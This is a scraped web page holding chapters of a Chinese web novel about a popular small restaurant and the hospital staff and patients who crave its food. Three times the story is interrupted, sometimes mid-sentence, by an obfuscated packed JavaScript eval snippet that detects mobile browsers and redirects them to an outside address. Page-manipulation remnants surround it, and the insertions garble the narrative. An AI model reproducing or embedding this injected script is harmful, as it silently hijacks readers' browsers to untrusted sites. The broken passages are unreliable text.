李启良又夹起一整条青椒酿肉，从直径小的尾端咬了一口，酱汁登时流下来，青椒已经褶皱而柔软，椒香很足。 内里夹的肉，是三肥七瘦的梅花肉剁成的肉糜，嚼起来鲜嫩又微微有弹性。 酱汁咸香浓郁，和那口饼子结合在一起，味道很妙。 “哇......真下饭。”微微的辣味，让李启良的嘴巴和舌尖都热烘烘的。 他将饼子撕成硬币大小，一半放在青椒酿肉的汤汁中，一半放在虾皮炒冬瓜的汤汁中。 饼子吸了汤汁，开始变色。前者变成深棕色，后者变成浅棕色，看着都很诱人。 “秋天吃上一口热乎的，真美。”李启良说着，捞起一块深棕色的饼子，一口吃下。 饼子仍旧保持着外脆内软，带着浓郁酱香的肉味和青椒气儿，混同饼香入口，满口热烘烘的微辣和肉香。 再捞起一块浅棕色的饼子，冬瓜的清爽与虾肉的鲜美，比酿肉更加轻盈。 两者的香味难分高下。 李启良咬住青椒酿肉的尾端，一口一口连着咀嚼，青椒酿肉一寸一寸变短，消失在他口中。 带着辣味的酱汁一点一点挤压而出，有一丝顺着他的嘴角流下，他赶紧低头，用纸巾擦掉，口中还不忘继续咀嚼，直到一整条青椒酿肉吃完。 “也不知道这些同学，是怎么找到藏这么深的美味饭馆的。”那辣味让李启良脑门上出了一层薄汗，他正拿纸擦着，手机响了。 拿起手机一看，是李启良的老婆方佩然发来的短信，问他吃饭没。 【正吃宵夜呢，找到了一家特别好吃的饭馆，我给你带点回去？】 李启良左手打字，还不忘右手端起小吊梨汤喝上一口。 方佩然看到消息有点奇怪，李启良一般工作日时凑活吃，周末才下馆子。 不过她作为护士，加班到快九点，已经累得不想细想了，有气无力地打字回复。 【行啊，你吃什么就给我带什么吧，我刚下班，回家再说。】 【好嘞！】 “可得让老婆尝尝这好东西。” 李启良吃完后，给方佩然新点了一份自己刚吃的两菜一汤，考虑到老婆喜欢吃米，他就把饼子换成了一碗米，提着带回了家。 - 李启良回家时，老婆已经到家了，累得瘫在餐厅椅子上玩手机。 “什么饭？”方佩然有气无力地坐直身子，想对付吃两口，赶紧睡觉。 “你看看，都是好东西！又辣又香的青椒酿肉，清淡润口的冬瓜炒虾皮，美容又解渴的小吊梨汤，还有，香喷喷的大米饭！” 伴随着介绍，李启良一一揭开保温盒盖，激动得像是在开奖。 “不就是家常菜吗？”方佩然看着他认真的样子，觉得有点好笑。 然而当饭菜的香气氤氲而出时，方佩然神色一凛，原本累得没光彩的眼睛，在饭菜上聚焦起视线。 青椒酿肉微微辛辣的味道，率先窜进鼻中，让鼻子痒痒的，酱香浓厚的肉味，让她顿觉腹内空空。 冬瓜的清爽气儿，小吊梨汤的微甜，一同涌出。 三道菜，看着都很好吃。 “看着还行，不过就是带的有点多，我怕是吃不完。” 方佩然讲着，“啪”地掰开一次性筷子，端起米饭，夹了一条青椒酿肉，放在米饭上。 汤汁很浓郁，并不往下流，只从米饭接触的位置，慢慢渗透进米饭缝隙中。 青椒褶皱，整体泛着淡淡的光泽，开口的一面，煎得焦黄，方佩然凑近咬了一口。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14890541|158240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这一口，肉和青椒都带着焦香，热辣辣的味道攀上舌头，让方佩然有些昏沉的头脑都清醒了。 “还挺好吃。”方佩然又咬了一口，那浓郁的肉汁差点流下，她赶紧吸溜了一口，才将汤汁收入口中。 “是吧，我们班学生都在吃，我就觉得很不一般。”李启良很喜欢看老婆吃东西，跟小仓鼠似的。 那白皙的米饭被汤汁染成棕色，方佩然搅拌几下，送入口中。 清冽的米香染上咸香的酱汁，还有热烘烘的辣气，吃得她感觉身上的血都热了起来。 她又咬了一大口青椒酿肉，肉块很大，嚼起来很过瘾，酱香味道很足，青椒也是炖软了，疏松地吸了很多肉汁。 这一口肉一口米，让她腮帮子鼓鼓的，肉的浓香与青椒的微辣融合，很是下饭。 “呼——”方佩然呼出一口辣气，舌头和口腔都是热的。 “太辣了吗？喝点汤凉一凉。”李启良用勺子搅拌着小吊梨汤，还呼呼吹着气。 那汤热度降下来时，李启良把汤推到她面前。 方佩然喝了一口，温中带凉的汤，清清爽爽涌入口中，所过之处的辣味都被冲散，梨子的甜和枣的浓香取而代之。 “诶，真好喝。”方佩然嚼着梨子块，那梨子块多汁地溢出水分来。 口中温度降下来，方佩然又看向那香喷喷的虾皮炒冬瓜，夹起一片放在米饭上，混着米饭入口。 冬瓜挤压出水，虾皮百嚼不厌，混了两种菜汁的米饭，香味层次感很丰富。 一口下肚，鲜爽无比。 “这家饭馆叫什么名字？”方佩然平时吃饭不怎么讲究，连点外卖都不注意店名，现在却好奇起来。 “叫江家小酒馆。”李启良说着，在导航上给她搜出地址。 “怎么没有外卖啊？”方佩然换了两个外卖平台，都没看到这家店。 “估计是她家店生意太好了，没精力开通外卖吧。”李启良分析道，“刚才我八点多才去，店里都坐满了，店外还有人在排队呢。” “我明天也想吃，本想着点个外卖直接送到了，干脆到时候抽空去买吧。”方佩然嘴里满满的饭菜，声音变得含混。 - 江云枫早就赚够8000元，还了这个月的房贷，下个月的店铺房租也预留好了。 最近一段时间，店内的座位明显不够用，外面的人要排队许久，才能落座。 而且这里确实有些太偏僻了，有些食客迷路好几次才能找到。 近日江云枫一直思索，下个月租期满后，就不续租了，另换一处交通方便、面积大的店面，有空的时候，她也一直在物色新址。 在实地考察后，江云枫选了海安街的一家店面。 海安街是一条繁华的步行街，临近一家大的购物商场，以及溪川最知名的电影院，虽然比不上商圈云集的万客街，但客流量也足够江家小酒馆消化的了。 又是一天闭店，江云枫留了言亦轩，还叫来了洛之桃，准备商量一下店铺装修的事。 “我比较满意的是，这家商铺是上下两层的，内部有楼梯，空间够大，不管是食客还是我们店内的人，都会觉得宽敞。”江云枫把实地考察时拍的录像拿给两人看。 “而且这家商铺之前就是租给饭馆的，水电煤气都是现成的，不需要我们再重装厨房了，很方便。” “我看着挺好的。”言亦轩仔细看着视频，这店铺格局很正，而且在商业街的阳面，“店铺朝阳，不仅光线好，而且比阴面的客流量更大一些。” “等下，这个商铺不会是在海安街从东往西数第三家吧？”洛之桃看着视频，站起身来。 “是的，你连这个都能看出来？”江云枫有些惊讶，转头看她。 “租这里......恐怕生意会不好做......”洛之桃眉头紧皱，欲言又止。 31. 避风塘炒虾 “这个怎么讲？”江云枫在那间商铺门前停留过一段时间，门前来往的人还是挺多的，不过洛之桃这么讲，大概率有别的缘故。 “我朋友在这边开古风文创店，所以我经常去这条街。”洛之桃搜索出海安街地图，“你选的商铺隔壁就是寻味园饭店，再走几步是望春酒家，斜对街是凌盛大酒店。” “寻味园饭店很擅长营销，经常会请网红、博主做广告；望春酒家上过官方电视台，官方背书宣传效果很厉害；凌盛大酒店是营业了近三十年的连锁大酒店，这三家几乎笼络了整条街所有的客流量。之前租这家商铺的饭馆，听说就是因为生意做不下去倒闭的。”洛之桃满脸担忧。 “怪不得原店主转让时急急忙忙的。”江云枫恍然大悟，“不过没关系，开店本就是各凭本事，宣传只是锦上添花，本质还是会回归到【菜品好不好吃】这个问题上，我对【把菜做得好吃】这一点，很有信心。” 江云枫并不害怕竞争，如果能和这么多有名的饭馆比拼一下，她反而更有兴致。 “是这样的，寻味园饭店我吃过，味道很一般，食材也不够新鲜，顶多宰客一次，很难有回头客。凌盛大酒店价格昂贵，炒青菜都要上百元，和我们吸引的不是同一批客人，所以不用太担心。”言亦轩食指和拇指摸索着下巴，语气轻松。 “这么一说也是哦。”洛之桃本以为，面对三家知名度颇高的饭馆，任谁也会知难而退，可两人毫不畏缩，气定神闲地讨论对策，听得她心生佩服。 除了对自己厨艺的自信，江云枫还在脑海过了一遍看过的商铺，其他商铺要么偏远，还不如维持现状，要么地处更繁华的地段，但是房租价格翻了好几倍。 只有目前这个商铺是性价比最高的，店内格局江云枫也喜欢。 “而且我已经交了商铺定金，就按照这里的格局装修吧，还需要你这边帮我出一个室内设计方案。”江云枫说着，打开新商铺房东发给自己的平面图，“之前看过你的一些作品，很期待你打造出来的样式。” “这个好说。”洛之桃感受到了江云枫的信任，浑身充满力量，她放大平面图，仔细看了尺寸，“包在我身上！” “对了，前段时间我们说好的事你还记得吗？你让我第一个尝新品，我可以给你打折。”洛之桃双手托脸，期待地看着江云枫。 “当然记得，你直接随便点吧，想吃什么，我直接现做新品。”江云枫一挥手，抱着胳膊微笑地看着她。 “真的随便点？”洛之桃得到了这宝贵的机会，雀跃得手心微微出汗，见江云枫点头确认，她思考了一会儿，“那就......我想吃大虾和玉米，老板你看有没有什么别出心裁的做法。” “没问题。”江云枫拿起抄网，在蓄了水的泡沫箱里一捞，身子比手指还粗的虾在抄网上活泼地扑腾，“这虾正新鲜呢。” 见江云枫捞了一小盆虾进了厨房，言亦轩屁颠屁颠跟了过去：“师父，您打算做什么菜？我来打下手。” “用别出心裁的方法做菜，那就来个避风塘炒虾，再加个金沙玉米吧，一咸口一甜口，搭配着也下饭。”江云枫直接把装虾的小盆递给他。 “得嘞。”无需多言，言亦轩就知道自己要做什么了。 江云枫起锅热油时，言亦轩用小刀将虾背片开，却不切断。 刀尖一挑，虾线去除，刀刃一弯，虾胃也从头部剜掉，再用剪刀把那扎手的须子剪掉，用刀背将虾肉拍松散。 满满一锅的热油，散发着浓郁的油香，江云枫先下了一大碗蒜末入锅，炸得焦香后，油锅里已经融入了蒜香，冒出的气味让人微醺。 再将裹了粉的虾下入其中，那开了背的虾撑开成一大片，壳子都炸得微微带了油泡，看着就酥。 捞出之后，油中不仅有了蒜香，还有了虾的鲜味，再下入切片的藕，白色的藕片染上金黄，失了水变成薄薄一片。 “调料都备好了。”捞出最后一片藕时，江云枫听到了言亦轩的声音。 转头一看，桌上摆放着一排碗，分别放了成堆的面包糠、干辣椒、青红辣椒丝、豆豉、鸡粉，那整整齐齐的阵势，看得人心生喜悦。 “这下可太省事了。”江云枫微微一笑。 锅底只留一层薄油，豆豉翻炒，煸出香味，干辣椒下入，辛香扑鼻。 面包糠宛若细沙，混同辣椒丝、鸡粉和红油翻炒，不仅染上金棕色，还微微有些粘连，炸好的虾和藕片放入其中一同翻炒，都沾上细细的面包糠。 “第一道菜，出锅！” 炒勺翻飞，大半的炒虾都盛进了白瓷盘里，江云枫又拎起炒勺，将锅中最后一些细碎的面包糠悉数收入勺中，撒在盘里，避风塘炒虾完美出锅。 言亦轩已经将玉米沿着中间的梗，切成小小的扇形，每一片有两三排玉米粒，长度约莫两寸。 那玉米煮熟后，裹上淀粉糊，放到油锅里炸两秒就定型了，浅炸之后捞出，像是油条一样呈现出均匀的金黄色。 沥一会儿油，江云枫刚想把玉米放锅里复炸，就瞧见最顶上的玉米少了一块儿，一转头发现了罪魁祸首。 “诶哟，怎么还有老鼠偷吃呢。”江云枫调侃道。 言亦轩仍旧淡定地嚼着玉米：“这不叫偷吃，这是帮你尝尝要不要再加点调料。” 那炸过第一遍的玉米，本就足够好吃了，外层的皮微微焦脆，炸货香气浓郁，内里的玉米粒一咬就爆浆，清甜可口。 “那你尝出来什么没？”江云枫背过身，将玉米倒进锅中复炸，这样会更加酥脆。 “尝出来味道刚刚好，就是还需要加一点——咸鸭蛋黄。”言亦轩说着，将一个小碗放在江云枫面前。 那碗中装着的，是捣碎成泥的咸鸭蛋黄，那黄儿还是流心的，带着几分绵密的鸭油。 “行啊，那就加上。”江云枫另起一锅。 随手在锅中丢一块黄油，黄油顺着锅沿滑下去，慢慢融化成液体，捣碎的鸭蛋黄落入锅中，与黄油混在一起，变成半液体。 随着煸炒，咸鸭蛋黄逐渐浓稠，泛起了细密的泡沫，再将炸好的玉米翻进去，江云枫右手握住锅把，来回颠锅，每一块炸焦的玉米，都裹上了金黄的咸蛋黄溶液。 待到出锅时，咸蛋黄已经干在了玉米表层，金灿灿的，很是诱人。 “开饭喽。”江云枫端着两盘菜来到大堂，洛之桃早就翘首以盼多时了。 “你们吃了没，咱们一起吃吧？”洛之桃说这话时，眼睛没离开过这两盘菜。 “我吃过了。”江云枫又给她盛了一碗米。 言亦轩舔了下嘴唇，不过他知道这饭菜是江云枫请洛之桃吃的，便压下了食欲，礼貌微笑：“刚才在厨房已经闻饱了。” “那我就不客气啦。”洛之桃抄起筷子，直伸向那避风塘炒虾。 细细的面包糠堆成小山，红色的辣椒丝掺杂其中，很是艳丽，那炸成金黄的虾埋在面包糠里，扒出来一块，仿佛寻宝。 咬上一口，嘴唇上是碎碎的颗粒感，一抿，面包糠碎成齑粉，油香之中，掺杂了微微的辛辣感。 拿虾已经炸成了脆片，一咬像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“好啊，期待你的方案。”江云枫暗笑道。 - 方佩然忙到中午一点四十，才终于有空休息一会儿。 刚想思考要吃什么，昨天吃过的江家小酒馆的味道，就浮现在脑海。 “真可惜这家店没外卖啊。”方佩然查了一下地址，路程不算远，但是她没法离开医院太长时间，免得自己管的那几床病人有需要找不到人。 到了江家小酒馆，她本想再点一次昨天吃过的饭菜，却看到店内几乎每桌都点了避风塘炒虾和金沙玉米，于是她也点了这两道菜，外加一道青椒酿肉。 买饭完后，她没有在店内过多停留，就回了医院。 在护士站旁边，专供医护人员吃饭的小桌旁坐下，方佩然依次打开打包盒。 焖出褶皱的青椒，包裹着满满的肉馅，椒香与肉香交杂在一起，表面还浸润了辣乎乎的汤汁。 金黄细碎的面包糠内，卷卷的虾与焦黄的藕片，若隐若现，辛辣气息让虾的鲜味更加诱人。 那玉米外形炸得类似薯饼，外层包裹着细密的咸蛋黄的粉末，蛋黄的香味和玉米的清新味道，热腾腾地飘出来。 方佩然感觉到口舌生津，拿起筷子刚要开动，身后强烈的被注视感，强逼着她回头。 一抬头，同事们在她身后站了一圈儿，都是闻着香味过来的。 “方护士，你在吃什么？好香啊......”同事们异口同声道。 32. 炒虾、金沙玉米 方佩然看着四个挤在一起的脑袋，登时想到那张唐僧师徒四人问“你醒啦”的表情包，很是好笑。 “这个啊，是一家叫江家小酒馆的小饭店的菜，虽然地段不太好，但老板手艺挺不错的。” 方佩然说着，夹起一块金沙玉米。 外层包裹的咸蛋黄先碰到舌头，绵密细腻，又微微出油，咸度刚刚好。 牙齿轻咬，外皮脆脆地破裂开，虽有炸物的香味，但因为严格控油，一点儿也不油腻。 鸭蛋黄的咸香，和玉米的甜爽融合在一起，她吃完一口，喉咙里忍不住发出“嗯——”的赞叹。 “每次跟着方方都能找到宝藏店铺，这次看起来也很好吃。”方佩然平时的饭搭子冷瑜，被这香味吸引过来，大口呼吸着，这饭菜就算只是闻一闻，也让人心情都好了。 “我好像听说过这家店，是不是前段时间，有个大的美食博主直接去这家店打工了？”常平诚食指比划着，他是日常的巡房医生，经常在这边值班。 “不是去打工，是直接拜师了。”刚来护士站不久的小护士颜菲，平时最喜欢吃瓜，这次也吃到了完整的，“三十多岁的老美食评论家，拜二十出头的年轻老板为师，你就想想，这饭菜得有多好吃，才甘愿低头。” “说的是啊！”冷瑜和常平诚视线更离不开那饭菜了。 “怎么没搜到这家店啊，是名字没输对吗？”蔡振恒作为一个大吃货，虽然十分钟前才刚干完一大份麻辣拌，可此刻又嘴馋了。 “这家店就没开通外卖，只能堂食，我把地址发给你。”方佩然左手打字，右手拿着筷子夹起一块虾。 她没有直接送入口中，而是夹着虾抖了抖，细碎的面包糠像是闪粉一样，纷纷坠落，其他没有掉下来的面包糠，都是被辣椒油黏在了虾身上的。 这边消息发出去，那边一块虾送入口中。 那虾背片开后，变成连在一起的两半，此刻都被炸得支棱起来，这一入口，轻轻一咬，像是虾片一样清脆地碎裂。 面包糠的颗粒感，慢慢消失在齿缝间，虾的鲜味，伴随着每一次咀嚼更加浓郁，带着些油气的辣感，一层又一层在口中叠加。 一只虾吃完，舌头有些发热发麻，还没到那种难以忍受的辣感，反而让她更加胃口大开。 “天呐，这虾怎么这么脆的，快把地址发给我！”冷瑜扒拉着蔡振恒的胳膊。 “我也想要！”常平诚左右摸着口袋，最后在白大褂里翻出来了手机，直接打开照相模式，“我直接拍吧，等不了你发了。” 颜菲想了两秒钟，鼓起勇气凑到方佩然面前，小心问道：“方姐，能让我尝一口吗？” 方佩然正在吃藕片，那藕裹了面糊，外层是酥酥脆脆的，内层是藕片的清脆，她直接用嘴叼着藕片，像兔子一样一点点啃着，面包糠簌簌落在米饭上。 听到这话，方佩然停顿了两秒：“可以呀，你吃虾吗？” “吃吃吃！我去拿筷子！”颜菲一闪身去储物柜里拿了自己的不锈钢筷子，又一闪身回来。 她夹起一块虾，一整个送入口中。 那虾头是去过刺和虾胃的，而且虾头一整个都炸酥了，直接在牙齿间化成齑粉。 虾头里一点点的虾黄，过油之后释放出了浓郁的蛋白质香气，干辣椒的气味包裹着整只虾，微微的辣感，让虾肉的鲜味更加凸显。 “也太好吃了......”颜菲嚼了半天才舍得咽下去，明明刚吃过饭了，口水却更加旺盛。 “方方方方方！我也想吃！”冷瑜搂着方佩然脖子撒娇。 “哎！痒得很！”方佩然一缩脖子，痒得直发笑，“好，给你给你给你。” “你最好了！”冷瑜嘿嘿笑着，借了她的筷子，右手夹虾，左手托着散落的面包糠渣渣，送入口中。 每嚼一下，那“咔滋咔滋”的声音都激得人加快速度咀嚼。 很快，一只虾消失在她口中，她连碎渣渣也不放过，直接倒入口中，感受着渣渣变成粉末的感觉。 “我也想吃！”蔡振恒和常平诚异口同声道。 “嗨呀，怎么回事，你们没有自己的饭吗？这下把我的虾都分完了。”方佩然装作生气，调侃道。 “那我们俩合吃一块那个包着肉的青椒好了，晚饭时候我们点新的，再还给你。”蔡振恒咽了咽口水。 “嗯，你让我们尝一下，下次你什么时候想换班我都答应。”常平诚本来饿过劲儿了，想着中午干脆不吃了，却被这香味又勾起了馋虫。 “行行行，分你们一块，谁让我们是好同事呢。”方佩然笑着摇头，好几次方佩然有事，都是蔡振恒和常平诚同意换班，她才可以做自己的事，这会儿也不好不分。 方佩然用筷子将青椒酿肉分成两半，刚分好，就看到蔡振恒和常平诚已经端好碗盘了，仿佛等待放饭的幼儿园小孩，让人忍俊不禁。 拿到自己分到的一半青椒酿肉，两人分别开吃。 常平诚吃东西很文雅，他咬了一口，细细咀嚼，内里的肉馅吸了不少汤汁，既有少量的肥肉增加肥美的口感，又有不少瘦肉，略有嚼劲却不干柴。 青椒微辣而清爽，让这一大口肉不会太腻。 “嗯——好吃！”常平诚很久没吃过这么鲜爽的菜了。 蔡振恒吃东西总是声音很大，吃什么都会吸溜，他直接咬住青椒酿肉直径最大的那一头，不用筷子，只用嘴，一点点朝另一头啃。 那表面晶莹的酱汁，被一点一点挤压出来，他不忍心汤汁落入碗里，一边吃一边“吸溜吸溜”的。 青椒的椒香，肉的多汁鲜爽，共同成就了这微辣又滋润的口感，一块吃完，欲罢不能。 “真不行了，刚才刚吃完饭，现在又饿了，晚上饭点我得直接冲去这个江家小酒馆。”蔡振恒将碗底朝天翻了个儿，就为把最后一点汤汁倒进嘴里。 “那你帮我带一份吧，方方点的这三种菜我都要。”冷瑜率先举手。 “我也要一样的。”颜菲紧跟着举手。 “我们只能轮班出去吃饭，要不你也帮我带一份？”常平诚还在回味口中的青椒酿肉香味。 “行啊！方护士还要一份不？”蔡振恒问道。 “可以给我带点别的，我们拉个群，到时候你把菜单发群里吧？”方佩然腮帮子鼓鼓的。 “没问题啊！咱们科室的幸福晚餐就包在我身上了！”蔡振恒一拍胸脯。 “各位医生护士们，你们在吃什么好东西啊？怎么会这么香的。”一个口齿不清的声音传来，几个人齐齐转头。 赵苹右手提着输液瓶，左手手背上扎着针，正在输消炎药。 前几天她刚拔完一左一右两颗智齿，因为牙龈伤口没愈合，她的嘴只能张开一个小缝。 由于不能吃正常的饭，也不能嚼东西，只能吃流食，她已经吃了三天的鸡蛋羹，根本不顶饱，现在看见吃的就两眼冒光，更别提是这么香的饭了。 几个医生护士都记得这个十八九岁的小姑娘，她拔智齿前在手术室门口吓得哭了一个小时。 “我们在吃江家小酒馆的饭，可香了。”蔡振恒故意逗她。 “有青椒酿肉，避风塘炒虾，还有金沙玉米。”方佩然也加入了逗小姑娘的行列。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14904151|158240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “你们可真坏。”常平诚和冷瑜笑了，因为赵苹听到这些话，口水都要流出来了。 “医生护士，我输完今天的消炎药，可以吃这些饭吗？”赵苹“嘶”地吸了一下口水，“我觉得我的嘴可以张开一些了。” “还是不行呢，辣的刺激伤口，油炸的是发物，而且你伤口刚愈合，吃正常的饭菜容易崩开，还是得吃流食。”常平诚遗憾摇头。 “等下个星期牙龈拆线了，就能正常吃饭了。”方佩然给了她一些希望。 “好吧，还得等七天，我每天得吃八个鸡蛋才能微饱，我服了。”赵苹欲哭无泪，只得深吸几口气，让香味入肺，假装闻到就是吃到，“江家小酒馆是吧，我记得了。” 回到病房，赵苹把输液瓶挂在架子上，斜靠在病床上，刷手机消磨时间。 好巧不巧，大数据给她推了桑瑶的美食助眠视频。 “美食？助眠？”赵苹没见过这么奇特的组合，戴上耳机，点开来看。 筷子扒拉面包糠，是“窸窸窣窣”的摩擦声。 虾片被牙齿咬碎的“咔滋咔滋”声，收音很好，跟3D环绕似的萦绕耳边。 青椒酿肉的浓稠汁水快流下来了，“簌”地嘬了嘬肉汁。 在非常强的收音效果下，玉米粒在牙缝间闷闷的“砰砰”几声破碎也被清晰捕捉，玉米粒汁水四溅，仿佛能闻到玉米的甜味。 喝小吊梨汤时，勺子碰瓷碗“叮当”轻响，“呼噜”一口喝下，还嘬一嘬嘴唇。 “又是江家小酒馆。”赵苹瘪着嘴“呜呜”假哭，“我为什么要这个时候拔牙，我真的服了！！！” “等我出院，我要夺回属于我的一切美食！”赵苹咬紧牙关，把输液的速度都调快了，准备出院就叫上朋友去吃这个江家小酒馆。 - “爸，您喝点粥吧，都一天没吃饭了。”项航端着粥，坐在项栋梁老爷子病床前，怎么都喂不下去这粥。 项老爷子身体不适来拍片子，医生说身上疑似有肿瘤，先留院观察，具体良性恶性还要等之后的化验结果。 知道这些之后，项老爷子就瘫在床上不想说话了。 “我不吃，我不喝，我有点要死了。”项老爷子拖着长腔“哼哼哼哼”欲哭无泪，“等检查结果出来再吃。” “您这样，检查结果没出来，先把自己饿死了。”项航无奈道，把盛了粥的汤勺往他嘴边送。 项老爷子紧抿着嘴唇，左右歪头回避汤勺。 项航见怎么也喂不下去，只得作罢，把粥放在一边：“就算不吃东西，也得起来活动一下吧，躺了一天一夜了，人都要躺出毛病了。” “行吧，扶我起来上个厕所。”项老爷子勉强接受了这个建议。 项航提着输液瓶，扶着老爹慢慢往前走。 路过护士站时，一股浓郁的香味传来，一转头，几个值班医生和护士，正坐在一边轮班吃饭。 “真香啊......”项航忍不住感叹。 项老爷子没说话，但是脚步明显放慢了，布满皱纹的鼻子一抽一抽的。 带着辛辣味道的香味、浓郁的肉味，唤醒了他的食欲，此时才觉得一天吃饭，已经饿得前胸贴后背了。 只是刚说过自己不吃不喝的，项老爷子抹不开面子，继续往走廊尽头的厕所走。 可回病房时，路过护士站，项老爷子实在是忍不住了，停下脚步。 项航见他不走了，有些疑惑：“有什么事吗？” 项老爷子没理会他，朝着香味飘来之处问道：“医生同志，护士同志，请问你们吃的盒饭在哪里有卖？” 33. 蒜蓉粉丝虾 “我们吃的这个，不是医院门口卖的那种盒饭，是外面的一个饭馆，叫江家小酒馆。”常平诚耐心解释道。 自从他们几个开吃，来往有不少病人都被香味吸引过来，问了很多次了。 “江家小酒馆，好，我记得了，谢谢医生同志。”项老爷子抬手一摆，慢慢回了病房。 这还是最近两天，项老爷子第一次对饭菜表现出兴趣，项航看着有戏，赶紧问道：“爸，那我给您买这个店的饭菜，怎么样？” “嗯。”项老爷子闷哼一声。 “您真的准备吃饭了！”项航惊喜道。 “快给我买吧，我正饿着呢。”项老爷子一摸肚子，他的肚子很配合地“咕噜噜”一声响，“就要医生护士同志刚才吃的那些。” “行嘞。”项航拿出手机搜索江家小酒馆，虽然没找到外卖，不过导航显示离这里并不远，他披上外套，就急匆匆地出发了。 “看来咱们得快点吃，今天晚上来问我们吃什么的人实在太多。”常平诚讲完，立刻低头扒拉饭。 他刚才尝着青椒酿肉的味道不错，直接把这道菜里的汤汁，都浇在了米饭上。 那汤汁非常浓稠，并没有从米的缝隙间渗透下去，而是都堆在米饭表面。搅拌几下，浅棕色的汤汁才和米饭融合在一起，包裹着每一粒白皙的米饭。 常平诚扒拉了一口，舌尖登时被青椒酿肉的味道滋润，肉的鲜美多汁，青椒热烘烘的辣意，全部聚焦在舌头。 又因为米饭是温热的，将这辣味激活得更加刺激。 “香啊。”常平诚感觉到舌头辣得痛痛的，却满口都是香气。 米饭入口之后，再咬两大口青椒酿肉，大块的肉、吸饱了汤汁变得柔软的青椒，塞满嘴的感觉格外舒爽，满口喷香。 “是得赶紧吃了。”蔡振恒说着，端起装避风塘炒虾的盒子，将剩余的虾、藕片，连同面包糠的渣渣，一同扒拉进米饭里。 焦而细碎的面包糠，和柔软的米饭拌在一起，嚼起来，软弹与酥脆的口感混合，感觉很奇妙。 蔡振恒夹起虾和藕片一同入口，那虾皮破裂的声音，藕片嚼碎的声音，伴随着每一次牙齿闭合，响个不停。 “诶，我之前都不爱吃玉米的，没想到玉米也能做得这么好吃。”冷瑜感慨道，又夹起一块玉米入口。 咸蛋黄的味道留在嘴唇上，玉米粒四溢的汁水流淌在舌头上，外咸内甜的组合，吃得她欲罢不能。 项老爷子在病房里，歪着头正好能看到医生护士在吃饭，他看两眼大嚼大咽的场面，喝两口水抑制一下饥饿感。 这一整天没吃饭，都没他这二十几分钟的等待那么焦灼。 “项大哥，你在等什么呢？”旁边病床上的汪老太有气无力地问道。 汪老太最近身体不适，胃口很不好，每天就是躺在床上输液，盯着天花板发呆。 “你的检查结果快到了吗？”汪老太转头看他。 “我的饭快到了。”项老爷子又喝了一口水。 汪老太的女儿，还有对面病床上照顾妻子的大哥都笑了。 “你上午不是说，绝食到检查结果出来吗？”汪老太疑惑。 “这个饭是刚才医生护士同志在吃的，闻着很香。绝食暂停，吃完之后我再继续绝食。”项老爷子义正言辞地表示着自己的原则。 这下连汪老太都整笑了，病房里活跃着快乐的气氛。 项老爷子已经给儿子打了两个电话催促，正要打第三个电话时，项航提着几个饭盒，出现在病房门口。 “诶呀，你别着急，那店里有好多人排队呢。”项航累得气喘吁吁，脱下大衣随手一挂，一屁股坐在凳子上休息。 “也确实，闻着这么香的东西，肯定很多人争着吃。”项老爷子的目光完全聚焦在了饭盒上。 饭盒依次打开，那热腾腾的香味飘出来时，项航明显感觉到病房里安静了。 汪老太女儿、对面病床的大哥和大哥妻子，视线都汇聚过来，汪老太也支棱起半个脑袋，闻到底是什么这么香。 甚至靠近门口那张床上，打着呼噜睡觉的中年男人，呼噜声都停止，被香醒了，抽动着鼻子一脸疑惑地爬起来。 然而看到饭盒里的食物，项老爷子却瞬间皱起了眉头：“这不是刚才医生护士吃的那种虾啊，你没看到吗，那个虾里面有黄色的粉粉。” “我知道，他们吃的是避风塘炒虾，我去店里，老板告诉我这个虾今天卖得太火了，原材料面包糠用完了。”项航边解释边拿出餐具，凑到项老爷子耳边小声道，“我求了老板好久，她才给我换着做了一道蒜蓉粉丝虾。” “蒜蓉粉丝虾......”项老爷子满是皱纹的眼皮耷拉着，左右瞧着那虾。 每只虾都个头饱满，前半部分虾身都已经剥了壳，橙红色的尾部还带着壳，整整齐齐地高高翘起。 炸得金黄的蒜粒、卷成一团的粉丝包裹着虾身。 油炸过的蒜香，以及热油激过的虾肉香味，扑面而来。 汪老太的女儿看见那放成一排、整整齐齐的虾，咽了咽口水。 “这个比得上那个带粉粉的虾吗？”项老爷子狐疑。 “我跟您说，今天到店才知道，好多食客求着这家店上新品，但是备选新品太多了，只能按照食客的呼声安排档期，今天这虾还是我跟老板说我老爹病了，一定要吃这个虾，她才做的。” 项航讲得自己都燃起来了，食指比了个“1”：“您第一个吃，而且这菜还是独一份儿。” “是吗，这么厉害啊。”项老爷子赶紧拿起筷子，夹宝贝似的夹起一块虾，还悬着左手接着，生怕滴下来一点儿汤汁。 虾刚放进嘴里，肉汁就渗透出来，项老爷子一天没吃没喝干渴的口腔，瞬间被虾的鲜味激活了。 “嗯！——”项老爷子惊喜地睁大了眼睛，用不太好的牙嚼巴了几下。 细细的粉丝软软弹弹，轻轻一咬，就咬断了，蒜粒非常小，炸过后微微焦脆。 